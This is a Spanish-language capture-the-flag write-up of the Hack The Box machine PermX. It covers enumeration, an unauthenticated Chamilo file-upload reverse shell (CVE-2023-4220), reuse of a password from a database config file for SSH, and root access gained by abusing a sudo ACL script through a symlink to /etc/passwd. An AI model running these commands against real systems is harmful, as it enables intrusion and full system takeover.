Descripción

PermX es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios
  • Vulnerabilidad de ejecución remota de comandos del LMS Chamilo
  • Exposición de datos sensibles (credenciales de una base de datos)
  • Reutilización de la contraseña de la base de datos en un usuario de Linux
  • Escalada de Privilegios utilizando las listas de control de acceso (ACLs) y un script SUDO configurado incorrectamente

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.121.154.

$ ping -c 3 10.129.121.154
PING 10.129.121.154 (10.129.121.154) 56(84) bytes of data.
64 bytes from 10.129.121.154: icmp_seq=1 ttl=63 time=48.2 ms
64 bytes from 10.129.121.154: icmp_seq=2 ttl=63 time=53.0 ms
64 bytes from 10.129.121.154: icmp_seq=3 ttl=63 time=48.7 ms

--- 10.129.121.154 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.158/49.953/53.028/2.184 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Linux. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.121.154 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.121.154
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

Obtenemos dos puertos abiertos, 22, y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.121.154 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.121.154
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

Obtenemos un servicio de Secure Shell (SSH) y un servicio de HyperText Transfer Protocol (HTTP). Pasamos al servicio de HTTP. Observamos que el servicio está alojando un sitio web, por lo que lo agregamos a nuestro archivo /etc/hosts.

$ echo "10.129.121.154 permx.htb" | sudo tee -a /etc/hosts

La página web aloja una web de presentación para aprendizaje en línea sin funcionalidad alguna. Vamos a enumerar las subdominios de permx.htb.

$ gobuster vhost -u permx.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration -r    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://permx.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: lms.permx.htb Status: 200 [Size: 19347]

Encontramos un subdominio, lms.permx.htb, lo agregaremos a nuestro archivo /etc/hosts.

$ echo "10.129.121.154 lms.permx.htb" | sudo tee -a /etc/hosts

Encontramos la página de inicio de sesión del sistema de gestión de aprendizaje (LMS) Chamilo. Encontramos la versión instalada al leer el archivo del registro de cambios. La versión instalada es Chamilo 1.11.24.

$ curl -s "http://lms.permx.htb/documentation/changelog.html" | grep version | head -n 10
        .version h1 {
        $('.version').each(function() {
          var version = $(this).attr('aria-label');
            "href": "#"+version
    complete, detailed list of changes for the 1.11 and previous versions on
    version by version, latest versions first, and should helps you locate when
    please check our version releases announcements on our website:
    <div class="version" aria-label="1.11.24">
            <li>[2023-08-03] (<a href="https://github.com/chamilo/chamilo-lms/commit/62a887f4dd936e4a43fbcf7c791afc5d5246e0e8">62a887f4</a>) Internal: Set strict requirement for PHP version 7.4</li>
    <div class="version" aria-label="1.11.22">

Explotación

Encontramos que esta versión es vulnerable a la ejecución de código remoto sin autenticación mediante la subida de archivos grandes, con CVE-2023-4220. Tenemos una prueba de concepto en el sitio web de STAR Labs. Solo necesitamos subir un archivo PHP con código para ejecutarse en la máquina remota, es decir, una terminal inversa. Primero abrimos el puerto de escucha.

nc -nvlp 1234

Luego obtenemos el archivo y lo subimos a la punto vulnerable.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

El archivo se sube a /main/inc/lib/javascript/bigupload/files/, por lo que podemos utilizar cURL o un navegador web para ejecutar comandos.

$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/php-reverse-shell.php'

Obtenemos una terminal inversa como el usuario www-data.

$ nc -nvlp 1234  
listening on [any] 1234 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.121.154] 48776
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 19:21:41 up 1 day,  7:08,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Post-Explotación

Enumerando el sistema encontramos dos usuarios de consola, mtz y root.

www-data@permx:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash

Al revisar el código fuente de la aplicación Chamilo encontramosla ruta en la que se almacenan los parámetros de conexión a la base de datos, /var/www/chamilo/app/config/configuration.php.

www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
...
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
...

Encontramos un nombre de usuario, chamilo, y la contraseña 03F6lY3uXAP2bkW8. Si intentamos iniciar sesión con el usuario mtz y estas credenciales mediante SSH, obtenemos una terminal.

$ ssh mtz@permx.htb               
The authenticity of host 'permx.htb (10.129.121.154)' can't be established.
ED25519 key fingerprint is SHA256:u9/wL+62dkDBqxAG3NyMhz/2FTBJlmVC1Y1bwaNLqGA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'permx.htb' (ED25519) to the list of known hosts.
mtz@permx.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)

...
mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)

Como el usuario mtz, podemos ejecutar solo un comando como el usuario root, que es /opt/acl.sh.

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Al enumerar el script, encontramos su funcionalidad. Está utilizando la aplicación setfacl para cambiar los permisos de un archivo para un usuario específico. Pero el archivo debe estar contenido en la carpeta /home/mtz y no puede haber puntos de navegación a directorios padres (..) en el nombre del archivo. Si las dos condiciones anteriores no se cumplen, se imprime el mensaje “Access Denied”. Estas condiciones pueden ser fácilmente evitadas creando un enlace simbólico blando hacia la carpeta que queremos cambiar los permisos. Por ejemplo, vamos a cambiar los permisos del archivo /etc/passwd para crear un usuario root. Primero creamos el enlace simbólico hacia la carpeta /etc en /home/mtz/ln/etc.

mtz@permx:~$ mkdir ln
mtz@permx:~$ ln -s /etc /home/mtz/ln

Ahora podemos verificar que el archivo /home/mtz/ln/etc/passwd es el mismo que el archivo /etc/passwd.

mtz@permx:~$ md5sum /home/mtz/ln/etc/passwd /etc/passwd
b01b8bcb7353abe6f486053ee0406594  /home/mtz/ln/etc/passwd
b01b8bcb7353abe6f486053ee0406594  /etc/passwd

Ahora cambiamos los permisos del usuario mtz sobre el archivo /home/mtz/ln/etc/passwd para lectura y escritura utilizando el script previo.

mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/ln/etc/passwd

Ahora tenemos permisos de lectura y escritura sobre el archivo /etc/passwd.

mtz@permx:~$ getfacl /etc/passwd
getfacl: Removing leading '/' from absolute path names
# file: etc/passwd
# owner: root
# group: root
user::rw-
user:mtz:rw-
group::r--
mask::rw-
other::r--

Creamos una contraseña para el usuario de Linux que vamos a agregar con OpenSSL.

mtz@permx:~$ openssl passwd -1 passwordhtb
$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0

Luego agregamos el usuario root2 al archivo /etc/passwd.

echo 'root2:$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /etc/passwd

Entonces podemos iniciar sesión utilizando su y la contraseña passwordhtb.

mtz@permx:~$ su root2
Password: 
root@permx:/home/mtz# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Ahora podemos obtener ambas banderas en la consola de root.

root@permx:/home/mtz# cat /home/mtz/user.txt 
<REDACTED>
root@permx:/home/mtz# cat /root/root.txt 
<REDACTED>